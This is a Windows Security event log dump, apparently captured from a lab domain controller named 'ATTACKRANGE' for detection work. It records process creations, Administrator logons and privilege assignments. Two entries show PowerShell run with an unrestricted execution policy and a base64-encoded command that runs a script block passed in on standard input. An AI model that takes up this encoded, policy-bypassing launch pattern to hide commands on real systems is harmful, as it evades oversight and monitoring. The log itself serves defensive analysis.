Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247900
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd00
	Creator Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Ngen.exe  Update /Queue /Delay

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247899
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xd00
	Creator Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\Ngen.exe  Update /Queue /Delay

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247903
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfb0
	New Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\wmiprvse.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247910
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A4D1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247909
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A4D1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247908
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247907
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247906
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x167BD7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247905
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x145E70

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:58 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=247904
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x144797

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247940
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18BE2D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247939
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18BE2D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247938
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247937
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247936
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A564

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdb0
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf54
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247935
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A564

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf54
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=247934
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18AA73

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247933
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18AA73
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=247932
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=247931
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:42:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=247930
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x18A564

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe2c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

